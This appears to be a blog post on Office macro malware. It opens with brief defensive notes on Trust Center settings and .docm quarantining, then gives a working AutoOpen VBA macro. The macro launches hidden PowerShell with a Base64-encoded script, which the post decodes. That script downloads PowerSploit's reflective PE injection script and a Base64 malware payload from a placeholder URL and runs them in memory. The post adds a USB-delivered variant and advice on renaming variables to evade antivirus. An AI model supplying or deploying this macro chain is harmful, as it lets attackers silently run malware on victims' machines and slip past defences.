So, with macro malware the flavour of the year I thought I’d do a number of articles covering what it is, how simple it can be and how you can try and mitigate some of the risks.
So what is macro malware and why is it so common?
Macros add powerful functionality to Office documents, allowing a document to carry embedded VBA (Visual Basic for Applications) code which can be executed automatically or when the user runs it through a button or hyperlink. This VBA code is often to used to populate spreadsheets based on logical conditions or to fetch external content etc. As you can imagine, macros are widely used especially in the enterprise environment and this makes their control particularly difficult. Macros can be digitally signed, however most are not and so controlling macros based on vetting the digital signature is generally not feasible.
The Microsoft Office “Trust Center” provides settings for controlling the use of macros, however if you need your users to run unsigned macros (and you probably are going to) then you cannot block them centrally. This leaves you with the only viable option afforded by the “Trust Center”, disable all macros with notification. When a user opens a document, they are presented with a prominent gold bar and they have to enable content to permit any macros to run. Sometimes this causes issues in the enterprise as macros are often stored in the base document template and therefore hitting the enable content button does nothing. At this point, the user would have to open the base template which contains the macro and then trust the document, almost always requiring the assistance of the IT department. For these reasons, I have seen environments where macros are just globally enabled without any notification .
So why is macro malware so prominent? Because we have a platform that can readily launch system calls, be sent straight through perimeter defences (who is going to block .doc’s at the perimeter?) and that is really difficult to block. At some point I will write a quick post on AV evasion as there are some excellent tools making the process trivial, however generally macros will be used to download and execute the actual malware (as they are limited to 64k of code) and so won’t be flagged by AV anyway as it’s just run of the mill VBA right?
What does it look like?
Since Microsoft Office 2010, the new document formats (think docx, xlsx etc) were introduced and so macro enabled documents of the new format can be easily spotted as they have a trailing “m” on the extension: .docm, .xlsm, .pptm etc. In a small to medium enterprise, I recommend quarantining these when they come in externally as you aren’t going to see a huge number of them anyway and it allows IT to vet them prior to the users seeing them. Unfortunately the more savvy criminals know this too so will stick to using the legacy Office formats such as .doc which can contain a macro without a change of extension. Whilst their is no supported version of Office that requires the use of the legacy formats, they are still widely used so blocking them will be a long way off yet!
Whether its a .doc or a .docm, the macro will look the same. It will usually be called AutoOpen() like in the example below so it executes either when the document is opened or when the user enables macros depending on the security settings in the “Trust Center”.
As an example, below is a simple macro that will launch PowerShell, download 2 things into memory (a PowerSploit script for injecting malware into memory and the malware), and then finally run the malware.
Sub AutoOpen() ' ' ' Dim x Dim StringVariable As String ' StringVariable = StringVariable & "JFJlcXVlc3QgPSBOZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2xpZW50DQoNCiRSZXF1ZXN0LlByb3h5LkNyZWRlbnRpYWxzID0gW1N5c3RlbS5OZXQuQ3JlZGVudGlhbENhY2hlXTo6RGVmYXVsdE5ldHdvcmtDcmVkZW50aWFscw0KDQppZXgoJFJlcXVlc3QuRG93" StringVariable = StringVariable & "bmxvYWRTdHJpbmcoJ2h0dHBzOi8vcmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbS9Qb3dlclNoZWxsTWFmaWEvUG93ZXJTcGxvaXQvbWFzdGVyL0NvZGVFeGVjdXRpb24vSW52b2tlLVJlZmxlY3RpdmVQRUluamVjdGlvbi5wczEnKSkNCg0KJGlucHV0c3RyaW5nID0g" StringVariable = StringVariable & "JFJlcXVlc3QuRG93bmxvYWRTdHJpbmcoJ2h0dHBzOi8vcmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbS88VVJMLVRPLUJBU0U2NC1FTkNPREVELU1BTFdBUkUnKQ0KDQokUEVCeXRlcyA9IFtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoJElucHV0U3Ry" StringVariable = StringVariable & "aW5nKSANCg0KSW52b2tlLVJlZmxlY3RpdmVQRUluamVjdGlvbiAtUEVCeXRlcyAkUEVCeXRlcw==" ' x = Shell("powershell -ExecutionPolicy Bypass -NonInteractive -NoLogo -NoProfile -enc " & StringVariable & "", 0) End Sub
The first thing you should notice is that the majority of it is Base64 encoded and so we will need to decode it first to make sense of it. This StringVariable is also broken up onto multiple lines as there is a maximum line length in VBA which would otherwise prevent us from storing such a long string. The last line is the Shell call which allows us to execute PowerShell with the base64 encoded script. The second parameter to Shell, in this case a zero, instructs it to run hidden from the user where as a one would show us the PowerShell window.
So if we base64 decode that string, we will get the PowerShell script which is doing all the business.
$Request = New-Object System.Net.WebClient $Request.Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials iex($Request.DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/CodeExecution/Invoke-ReflectivePEInjection.ps1')) $inputstring = $Request.DownloadString('https://raw.githubusercontent.com/<URL-TO-BASE64-ENCODED-MALWARE') $PEBytes = [System.Convert]::FromBase64String($InputString) Invoke-ReflectivePEInjection -PEBytes $PEBytes
As you can see, its not that long or hugely complicated.
- We create a new instance of System.Net.WebClient and give it the stored DefaultNetworkCredentials (allowing it straight through any AD Authenticated web proxies that may be configured).
- We then use iex which will execute the contents of the brackets, in this case a downloaded PowerSploit script which allows you to execute a file stored in a variable (so we never touch the disk and only use memory).
- We then download the malware which is stored online as a Base64 string (I have a PowerShell script to do the conversion if you need it here[need link]) before using the PowerSploit command Invoke-ReflectivePEInjection to run the malware.
As an alternative you can read these from a local disk, i.e if you are attempting a USB attack. Here is an example below:
iex([IO.File]::ReadAllText("LocalCopyOf_Invoke-ReflectivePEInjection.ps1")) $inputstring = [IO.File]::ReadAllText("MalwareAsBase64.txt") $PEBytes = [System.Convert]::FromBase64String($InputString) Invoke-ReflectivePEInjection -PEBytes $PEBytes
That’s it, you have a macro that will retrieve and execute malware. As always, its good practice to change variable and function names to prevent identification from AV.